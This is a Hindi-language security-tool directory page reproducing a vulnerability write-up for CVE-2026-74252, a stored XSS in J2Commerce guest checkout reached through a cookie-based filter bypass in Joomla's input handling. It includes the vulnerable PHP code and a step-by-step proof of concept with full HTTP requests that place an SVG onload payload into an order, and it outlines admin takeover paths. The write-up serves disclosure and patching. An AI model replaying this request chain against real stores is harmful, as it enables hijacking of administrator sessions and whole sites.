Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-74252 — J2Commerce गेस्ट चेकआउट में कुकी फ़िल्टर बाईपास के माध्यम से Stored XSS | Kitploit
उपकरण/GitHubGitHub/toanln-cov/cve-2026-74252
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षा
GitHubtoanln-cov/cve-2026-74252

CVE-2026-74252

J2Commerce गेस्ट चेकआउट में कुकी फ़िल्टर बाईपास के माध्यम से Stored XSS

रिपॉजिटरी देखें
2 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

J2Commerce गेस्ट चेकआउट में कुकी फ़िल्टर बायपास के माध्यम से संग्रहीत XSS

J2Commerce (com_j2store) ≤ 4.1.5 — अनधिकृत हमलावर XSS पेलोड संग्रहीत करता है जो पृष्ठ लोड पर व्यवस्थापक ब्राउज़र में स्वचालित रूप से निष्पादित होता है

CVE CVSS v4.0 CWE-79 Affected Researcher


सारांश

J2Commerce 4.1.5 अतिथि चेकआउट बिलिंग पता फ़ील्ड के माध्यम से संग्रहीत क्रॉस-साइट स्क्रिप्टिंग (XSS) की चपेट में है। एक अनधिकृत हमलावर Joomla के Input::getArray() में फ़िल्टर बायपास का फायदा उठाता है, जो PHP के variables_order=EGPCS ($_REQUEST में कुकी POST को ओवरराइड करती है) के साथ मिलकर billing_first_name जैसी फ़ील्ड में अस्वच्छ (unsanitized) HTML संग्रहीत कर देता है। ये फ़ील्ड व्यवस्थापक ऑर्डर प्रबंधन पैनल में के बिना सीधे प्रतिध्वनित (echo) होती हैं, जिससे पेलोड व्यवस्थापक के ब्राउज़र में निष्पादित हो जाता है।

टूल डाउनलोड करें
htmlspecialchars()

XSS पेलोड पृष्ठ लोड होने पर स्वचालित रूप से फायर होता है जब व्यवस्थापक ऑर्डर सूची पर जाता है — किसी व्यक्तिगत ऑर्डर पर क्लिक करने की आवश्यकता नहीं होती। एक एकल HTTP अनुरोध श्रृंखला (कार्ट में जोड़ें → कुकी बायपास के साथ चेकआउट सबमिट करें → ऑर्डर दें) पेलोड को स्थायी रूप से संग्रहीत कर देती है, जो हर व्यवस्थापक के ब्राउज़र में तब तक निष्पादित होता रहेगा जब तक ऑर्डर हटाया न जाए या भेद्यता को पैच न किया जाए।

इस हमले के लिए हमलावर से किसी प्रमाणीकरण की आवश्यकता नहीं होती। अतिथि चेकआउट ई-कॉमर्स साइटों की एक मानक, सामान्यतः सक्षम सुविधा है, जो व्यवस्थापकों को नए ऑर्डर देखने के लिए आर्थिक प्रोत्साहन प्रदान करती है — जिससे शोषण को हथियार बनाना तुच्छ हो जाता है।


प्रभावित संस्करण

घटकअसुरक्षित संस्करणपरीक्षण किया गयाफिक्स संस्करण
J2Commerce (com_j2store)1.0.0 – 4.1.54.1.5 (Joomla 5.4.7 + MySQL 8.0 पर)3.3.21 / 4.0.21 / 4.1.6

भेद्यता विवरण

प्रकार: क्रॉस-साइट स्क्रिप्टिंग — संग्रहीत (CWE-79) आवश्यक प्रमाणीकरण: कोई नहीं — अनधिकृत (अतिथि चेकआउट) प्राथमिक सिंक: administrator/components/com_j2store/views/orders/tmpl/default_items.php:73 लेखन पथ: components/com_j2store/controllers/checkouts.php:535

मूल कारण

इस भेद्यता में दो संयुक्त कमज़ोरियाँ शामिल हैं: लेखन पथ पर इनपुट फ़िल्टर बायपास और पठन पथ पर आउटपुट एन्कोडिंग की कमी।

1. इनपुट फ़िल्टर बायपास — Joomla Input::getArray() का दुरुपयोग

J2Commerce का अतिथि चेकआउट कंट्रोलर $app->input->getArray($_POST) का उपयोग करके पता फ़ील्ड पढ़ता है। Joomla का कार्यान्वयन $_POST सरणी को पुनरावृत्त (iterate) करता है और प्रत्येक मान को फ़िल्टर प्रकार के रूप में उपयोग करता है (डेटा के रूप में नहीं), जबकि वास्तविक मान $_REQUEST से पढ़ता है:

COMPONENTS/COM_J2STORE/CONTROLLERS/CHECKOUTS.PHP:535 — लेखन पथ

root@kitploit:~
$data = $app->input->getArray($_POST);

LIBRARIES/VENDOR/JOOMLA/INPUT/SRC/INPUT.PHP — GETARRAY() विधि (पंक्ति 187)

root@kitploit:~
public function getArray(array $vars = [], $datasource = null)
{
    foreach ($vars as $k => $v) {
        $results[$k] = $this->get($k, null, $v); // $k = field name, $v = POST value used as filter TYPE
    }
}

LIBRARIES/VENDOR/JOOMLA/INPUT/SRC/INPUT.PHP — डेटा स्रोत (पंक्ति 97)

root@kitploit:~
$this->data = $source ?? $_REQUEST;  // Reads from $_REQUEST, not $_POST

2. PHP variables_order — कुकी $_REQUEST में POST को ओवरराइड करती है

PHP का $_REQUEST एक मर्ज किया गया सुपरग्लोबल है जो $_GET, $_POST, और $_COOKIE से निर्मित होता है। जब variables_order=EGPCS होता है (अधिकांश PHP वातावरणों के लिए संकलित-इन डिफ़ॉल्ट), कुकी (C) POST (P) के बाद सूचीबद्ध होती है, इसलिए विरोधाभासी कुंजियों के लिए कुकी जीत जाती है।

POST बॉडी में first_name=RAW सबमिट करने से Joomla का InputFilter::clean() कुकी मान first_name=<svg...> पर फ़िल्टर प्रकार 'Raw' (नो-ऑप) लागू करता है, जो $_REQUEST में जीत जाता है।

LIBRARIES/VENDOR/JOOMLA/FILTER/SRC/INPUTFILTER.PHP — CLEAN() विधि (पंक्ति 215)

root@kitploit:~
$type = ucfirst(strtolower($type));  // 'RAW' → 'Raw'
if ($type === 'Raw') {
    return $source;  // ← no sanitization — returns cookie value unchanged
}

अंतिम परिणाम: POST बॉडी first_name=RAW फ़िल्टर को नो-ऑप पर सेट कर देती है। कुकी first_name=<svg onload="alert(document.domain)"> $_REQUEST में जीत जाती है। Joomla कुकी मान को बिना फ़िल्टर किए लौटा देता है। J2Commerce इसे j2store_orderinfos.billing_first_name में कच्चा संग्रहीत करता है।

3. आउटपुट एन्कोडिंग की कमी — व्यवस्थापक टेम्पलेट सिंक

ADMINISTRATOR/COMPONENTS/COM_J2STORE/VIEWS/ORDERS/TMPL/DEFAULT_ITEMS.PHP:73 — प्राथमिक सिंक (सूची पृष्ठ लोड होने पर फायर होता है)

root@kitploit:~
// Vulnerable — no htmlspecialchars():
<span class="me-1"><?php echo $row->billing_first_name .' '.$row->billing_last_name; ?></span>

ADMINISTRATOR/COMPONENTS/COM_J2STORE/VIEWS/ORDER/TMPL/FORM_CUSTOMER.PHP:56 — द्वितीयक सिंक

root@kitploit:~
// Vulnerable — no htmlspecialchars():
<?php echo '<strong>'.$this->orderinfo->billing_first_name." ".$this->orderinfo->billing_last_name."</strong>"; ?>
<?php echo $this->orderinfo->billing_address_1;?>
<?php echo $this->orderinfo->billing_city;?>
<?php echo $this->orderinfo->billing_phone_1; ?>

यह बायपास Debian/Ubuntu को छोड़कर सभी PHP वातावरणों पर काम करता है (जो स्पष्ट रूप से request_order = "GP" सेट करता है, कुकीज़ को $_REQUEST से बाहर रखता है)। अन्य सभी प्रमुख होस्टिंग वातावरण — cPanel/Plesk साझा होस्टिंग, CentOS/RHEL, XAMPP/WAMP/MAMP, Windows IIS — EGPCS पर फॉलबैक करते हैं, जिससे कुकी ओवरराइड बिना किसी कॉन्फ़िगरेशन परिवर्तन के तुरंत सक्रिय हो जाती है।


प्रमाण की अवधारणा

1. व्यवस्थापक आधार रेखा — हमले से पहले ऑर्डर सूची

पीड़ित व्यवस्थापक के रूप में J2Commerce व्यवस्थापक ऑर्डर सूची खोलें। यह पुष्टि करता है कि व्यवस्थापक पैनल का सक्रिय रूप से उपयोग कर रहा है और अगली यात्रा पर पेलोड का सामना करेगा।

s1-step1-admin-orders-baseline

2. फ्रंटएंड से CSRF टोकन निकालें

अनधिकृत हमलावर के रूप में, सत्र स्थापित करने और पृष्ठ के JSON विकल्पों में एम्बेडेड CSRF टोकन निकालने के लिए J2Commerce फ्रंटएंड होमपेज पर GET अनुरोध भेजें। यह टोकन आगामी POST अनुरोधों के लिए आवश्यक है।

s1-step2-csrf-token-extract

3. उत्पाद को कार्ट में जोड़ें

हमलावर के कार्ट में एक उत्पाद जोड़ें। अतिथि चेकआउट एंडपॉइंट के लिए पता सबमिशन स्वीकार करने हेतु कार्ट खाली नहीं होना चाहिए।

root@kitploit:~
POST /index.php?option=com_j2store&view=carts&task=addItem&ajax=1 HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded

product_id=&j2store_variant_id=&quantity=1&<csrf_token>=1

s1-step3-add-product-to-cart

4. मुख्य बायपास — कुकी फ़िल्टर ट्रिक के साथ अतिथि चेकआउट सबमिट करें

first_name के लिए दो विरोधाभासी मानों के साथ अतिथि चेकआउट पता फ़ॉर्म सबमिट करें:

  • POST बॉडी: first_name=RAW — Joomla इसे फ़िल्टर प्रकार (नो-ऑप) के रूप में व्याख्या करता है
  • कुकी: first_name=<svg...> — यह $_REQUEST में जीतती है (PHP EGPCS: कुकी > POST) और बिना फ़िल्टर किए लौटाई जाती है
root@kitploit:~
POST /index.php?option=com_j2store&view=checkout&task=guest_validate HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Cookie: <joomla_session>=<session_value>; first_name=%3Csvg+xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22+onload%3D%22alert%28document.domain%29%22%3E%3C%2Fsvg%3E

first_name=RAW&last_name=Attacker&address_1=1+Evil+St&city=HackCity&zip=12345&country_id=223&zone_id=62&phone_1=0123456789&phone_2=0123456789&email=attacker%40evil.com&<csrf_token>=1

s1-step4-cookie-bypass-guest-checkout

5. शिपिंग सत्यापन पूर्ण करें

उसी कुकी बायपास का उपयोग करके शिपिंग पता चरण सबमिट करें। यह चरण सत्र में शिपिंग देश सेट करता है — इसे छोड़ने पर अगले चरणों में "SHIPPING_ADDRESS_NOT_FOUND" त्रुटि उत्पन्न होती है।

s1-step5-shipping-validate

6. भुगतान विधि चुनें

भुगतान विधि चुनें (कैश ऑन डिलीवरी)। payment_plugin फ़ील्ड एक टेक्स्ट इनपुट नहीं है जो XSS के प्रति संवेदनशील हो।

root@kitploit:~
POST /index.php?option=com_j2store&view=checkout&task=shipping_payment_method_validate HTTP/1.1

payment_plugin=payment_cash&<csrf_token>=1

s1-step6-select-payment-method

7. ऑर्डर पुष्टिकरण हैश प्राप्त करें

ऑर्डर सारांश पृष्ठ प्राप्त करने के लिए confirm चरण सबमिट करें, जिसमें एक छिपा हुआ hash फ़ील्ड होता है। ऑर्डर अंतिम रूप देने के लिए यह हैश आवश्यक है।

root@kitploit:~
POST /index.php?option=com_j2store&view=checkout&task=confirm HTTP/1.1

accept_terms=1&<csrf_token>=1

s1-step7-retrieve-order-hash

8. ऑर्डर दें — XSS पेलोड डेटाबेस में स्थायी रूप से संग्रहीत हुआ

पिछले चरण के हैश का उपयोग करके ऑर्डर अंतिम रूप दें। सर्वर joom_j2store_orderinfos में ऑर्डर रिकॉर्ड बनाता है, जिसमें billing_first_name कच्चे XSS पेलोड पर सेट होता है।

root@kitploit:~
POST /index.php?option=com_j2store&view=checkout&task=confirmPayment HTTP/1.1

hash=<hash_from_step7>&<csrf_token>=1

s1-step8-place-order-xss-persisted

9. XSS व्यवस्थापक पैनल में निष्पादित होता है — पृष्ठ लोड पर स्वचालित

पीड़ित व्यवस्थापक के रूप में, J2Commerce ऑर्डर सूची पर जाएँ। XSS पेलोड पृष्ठ लोड होते ही तुरंत फायर होता है — किसी क्लिक की आवश्यकता नहीं। default_items.php:73 टेम्पलेट billing_first_name को Customer कॉलम में बिना एस्केप किए रेंडर करता है।

जब व्यवस्थापक ऑर्डर देखता है, तो सर्वर प्रतिक्रिया में शामिल होता है:

root@kitploit:~
<strong><svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"></svg> Attacker</strong>

s1-step9-xss-triggers-on-page-load


प्रभाव

  1. व्यवस्थापक सत्र अपहरण — व्यवस्थापक बैकएंड में निष्पादित JavaScript के पास व्यवस्थापक के सत्र कुकीज़ (जब तक HttpOnly न हों) तक पहुंच होती है और वह उन्हें हमलावर-नियंत्रित सर्वर पर बाहर भेज सकती है, जिससे व्यवस्थापक के क्रेडेंशियल की आवश्यकता के बिना पूर्ण खाता अधिग्रहण संभव हो जाता है।
  2. दुष्ट व्यवस्थापक खाता निर्माण — XSS पेलोड प्रोग्रामेटिक रूप से Joomla के उपयोगकर्ता प्रबंधन API को कॉल करके एक नया सुपर-व्यवस्थापक खाता बना सकता है, जो पासवर्ड परिवर्तन या सत्र को अमान्य करने के बाद भी हमलावर को स्थायी पहुंच प्रदान करता है।
  3. दुर्भावनापूर्ण प्लगइन स्थापना — व्यवस्थापक-स्तरीय JS निष्पादन के साथ, हमलावर PHP वेबशेल अपलोड करने के लिए प्लगइन इंस्टॉलेशन एंडपॉइंट्स को ट्रिगर कर सकता है, जिससे आगे किसी इंटरैक्शन के बिना अंतर्निहित सर्वर पर रिमोट कोड निष्पादन प्राप्त होता है।
  4. पूर्ण वेबसाइट समझौता — हमलावर को किसी भी सामग्री को संशोधित करने, डेटाबेस निकालने (ग्राहक PII और भुगतान संदर्भों सहित), फ्रंटएंड पृष्ठों में मैलवेयर इंजेक्ट करने और स्थायी बैकडोर स्थापित करने की क्षमता प्राप्त होती है — जो पूर्ण साइट अधिग्रहण का गठन करता है।
  5. ऑर्डर देने के अलावा कोई हमला पूर्वापेक्षा नहीं — अतिथि चेकआउट ई-कॉमर्स साइटों की एक मानक, सामान्यतः सक्षम सुविधा है। कोई भी अज्ञात आगंतुक चेकआउट फ़ॉर्म सबमिट करके इस हमले को ट्रिगर कर सकता है — जो आर्थिक प्रोत्साहन प्रदान करता है (व्यवस्थापक नियमित रूप से ऑर्डर की समीक्षा करते हैं), जिससे बड़े पैमाने पर शोषण को हथियार बनाना तुच्छ हो जाता है।

संदर्भ

  • CVE: https://www.cve.org/CVERecord?id=CVE-2026-74252
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-74252
  • GitHub सलाह: https://github.com/advisories/GHSA-42m7-jqh7-g85c
  • विक्रेता सुरक्षा घोषणा: https://www.j2commerce.com/blog/security-announcement-releases-3-3-21-4-0-21-and-4-1-6
  • विक्रेता रिपॉजिटरी: https://github.com/j2store/J2Store